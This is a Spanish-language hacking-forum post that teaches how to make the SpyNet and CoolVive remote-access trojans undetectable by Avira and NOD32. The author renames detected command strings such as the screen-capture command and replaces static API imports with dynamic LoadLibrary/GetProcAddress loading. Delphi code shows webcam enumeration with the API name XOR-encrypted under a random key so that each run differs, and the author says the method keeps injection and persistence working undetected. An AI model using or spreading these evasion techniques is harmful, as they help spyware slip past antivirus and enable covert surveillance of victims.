por empezar esto lo aprendi del mismo foro en esta url
viewtopic.php?f=83&t=10231
en base a la indeteccion total por mi cuenta de spynet y coolvive
de las soluciones antivirus avira y nod32(los unicos que tengo instalados en mi pc )
les podria afirmar que la heuristica ,hips como mierda quieran llamarla
se basa en patrones si se cambian o modifican esos patrones
se va a la bosta la inteligencia del antivirus.
en mi caso voy comentando los fragmentos de codigo y analizando, cuando
me queda indetectado comienza el trabajo de remplazo
si me detecta la cadena de comando 'CAPSCREEN' que es la cadena de captura de pantalla coloco 'CAPSCREN'
si tengo una funcion y es detectada la llamada a las api ejemplo listar las camarasweb (en colvives es detectado por avira)
cambiamos la forma de carga de la api
var
function capGetDriverDescriptionA(wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL; stdcall; external 'AVICAP32.DLL';

function ListarDispositivos(): String;
var
  szName,
  szVersion: array[0..MAX_PATH] of char;
  iReturn: Boolean;
  x: integer;
begin
  x := 0;
  repeat
    iReturn := capGetDriverDescriptionA(x, @szName, sizeof(szName), @szVersion, sizeof(szVersion));
    If iReturn then
    begin
     Result := Result + szName + ' - ' + szVersion + '|';
     Inc(x);
    end;
  until iReturn = False;
end;

modifico asi 
var

  tcapGetDriverDescriptionA: function (wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL; stdcall ;

function ListarDispositivos(): String;
var
LibHandle :thandle;
  szName,
  szVersion: array[0..MAX_PATH] of char;
  iReturn: Boolean;
  x: integer;

begin
  x := 0;
  repeat

  //*************deteccin avira

  LibHandle := LoadLibrary('AVICAP32.dll');

      tcapGetDriverDescriptionA := GetProcAddress(LibHandle, pansichar('capGetDriverDescriptionA')); //
//******************************************************************'capGetDriverDescriptionA' se puede encriptar y desencriptar
     iReturn :=  tcapGetDriverDescriptionA(x, @szName, sizeof(szName), @szVersion, sizeof(szVersion));
    If iReturn then
    begin

     Result := Result + szName + ' - ' + szVersion + '|';

     Inc(x);
    end;
  until iReturn = False;
end;
y a la mierda avira
con este metodo se puede dejar funcional e indetectado una inyeccion o persistencia

si me equivoque corrijan no tengo camara web para probar el codigo
paresco malo ,pero soy bueno
tambien podemos cifrar con clave random
asi cada vez que se llame a la funcion listar camaras web
el cifrado sera distinto en cada ejecucion
no se como afecte en el tiempo de carga
se podria crear una unit para el trabajo de cifrado
unit Unit1;

interface
  //http://www.clubdelphi.com/foros/showthread.php?t=83849
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
  
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
   key:string =('abcdefghijklmnopqrstuvwxyz1234567890');
   tcapGetDriverDescriptionA: function (wDriverIndex: UINT; lpszName: LPSTR; cbName: integer; lpszVer: LPSTR; cbVer: integer): BOOL; stdcall ;

implementation

{$R *.dfm}
   // Encripta y Desencripta un String con una Clave por medio de Funciones Lógicas
function EnDeCrypt(const Value, Key : String) : String;
var
   i : Integer;
   KeyAlt : Integer;

begin

   KeyAlt := Length(Key);

   for i := 1 to Length(Key) do
      KeyAlt := KeyAlt xor Ord(Key[i]);

   Result := Value;
   for i := 1 to Length(Value) do
   begin
      Result[i] := chr(not(ord(Value[i]) xor Ord(KeyAlt)));
   end

end;
   function randomstring:string;
var
  S: string;
  i, N: integer;
begin
  Randomize;
  S := '';
  for i := 1 to 5 do begin
    N := Random(Length(key)) + 1;
    S := S + key[N];
  end;
result := S;
end;


function ListarDispositivos(): String;
var
LibHandle :thandle;
  szName,
  szVersion: array[0..MAX_PATH] of char;
  iReturn: Boolean;
  x: integer;
  str:string;
   keys:string;
begin
    keys:=randomstring;
    str := EnDeCrypt('capGetDriverDescriptionA',keys);


  x := 0;
  repeat
LibHandle := LoadLibrary('AVICAP32.dll');

tcapGetDriverDescriptionA := GetProcAddress(LibHandle, pansichar(endecrypt(str,keys)));

iReturn :=  tcapGetDriverDescriptionA(x, @szName, sizeof(szName), @szVersion, sizeof(szVersion));
    If iReturn then
    begin
  Result := Result + szName + ' - ' + szVersion + '|';
Inc(x);
    end;
  until iReturn = False;
end;
paresco malo ,pero soy bueno
Responder

Volver a “Fuentes”